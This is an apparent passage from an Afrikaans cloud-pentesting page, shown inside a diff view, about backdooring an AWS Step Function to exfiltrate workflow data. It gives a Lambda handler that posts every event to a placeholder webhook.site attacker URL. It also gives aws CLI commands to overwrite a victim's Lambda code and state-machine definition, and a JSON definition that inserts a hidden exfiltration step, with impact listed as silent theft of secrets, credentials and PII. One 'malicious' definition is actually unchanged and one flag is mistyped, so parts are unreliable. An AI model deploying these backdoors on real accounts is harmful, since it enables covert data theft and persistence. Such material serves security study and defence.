As die Step Function gekonfigureer is om 'n Lambda soos `LegitBusinessLogic` aan te roep, kan die aanvaller voortgaan met **twee onopvallende aanvalvariante**:
|
||||
|
||||
---
|
||||
|
||||
#### Lambda-funksie bygewerk
|
||||
|
||||
Die aanvaller wysig die kode van die Lambda-funksie wat reeds deur die Step Function gebruik word (`LegitBusinessLogic`) om stilweg invoerdata te exfiltrate.
|
||||
```python
|
||||
# send_to_attacker.py
|
||||
import requests
|
||||
|
||||
def lambda_handler(event, context):
|
||||
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
|
||||
return {"status": "exfiltrated"}
|
||||
```
|
||||
|
||||
```bash
|
||||
zip function.zip send_to_attacker.py
|
||||
|
||||
aws lambda update-function-code \
|
||||
--function-name LegitBusinessLogic \
|
||||
--zip-file fileb://function.zip -profile attacker
|
||||
```
|
||||
---
|
||||
|
||||
#### Voeg 'n Kwaadaardige State by die Step Function
|
||||
|
||||
Alternatiewelik kan die aanvaller 'n **exfiltration state** aan die begin van die werkvloei invoeg deur die Step Function-definisie op te dateer.
|
||||
```malicious_state_definition.json
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "OriginalState",
|
||||
"States": {
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
```
|
||||
|
||||
```bash
|
||||
aws stepfunctions update-state-machine \
|
||||
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
|
||||
--definition file://malicious_state_definition.json --profile attacker
|
||||
```
|
||||
Die aanvaller kan selfs meer stilweg die state-definisie bywerk na iets soos die volgende
|
||||
{
|
||||
"Comment": "Backdoored for Exfiltration",
|
||||
"StartAt": "ExfiltrateSecrets",
|
||||
"States": {
|
||||
"ExfiltrateSecrets": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
|
||||
"InputPath": "$",
|
||||
"ResultPath": "$.exfil",
|
||||
"Next": "OriginalState"
|
||||
},
|
||||
"OriginalState": {
|
||||
"Type": "Task",
|
||||
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
|
||||
"End": true
|
||||
}
|
||||
}
|
||||
}
|
||||
waar die slagoffer nie die verskil sal besef nie
|
||||
|
||||
---
|
||||
|
||||
### Slagoffer-opstelling (Konteks vir Exploit)
|
||||
|
||||
- 'n Step Function (`LegitStateMachine`) word gebruik om sensitiewe gebruikersinvoer te verwerk.
|
||||
- Dit roep een of meer Lambda-funksies aan soos `LegitBusinessLogic`.
|
||||
|
||||
---
|
||||
|
||||
**Potensiële impak**:
|
||||
- Stilswyende exfiltration van sensitiewe data, insluitend secrets, credentials, API keys, en PII.
|
||||
- Geen sigbare foute of mislukking in workflow-uitvoering nie.
|
||||
- Moeilik om te bespeur sonder om Lambda-kode of uitvoeringstrace te oudit.
|
||||
- Maak langtermyn persistentie moontlik as die backdoor in die kode of ASL-logika bly.
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user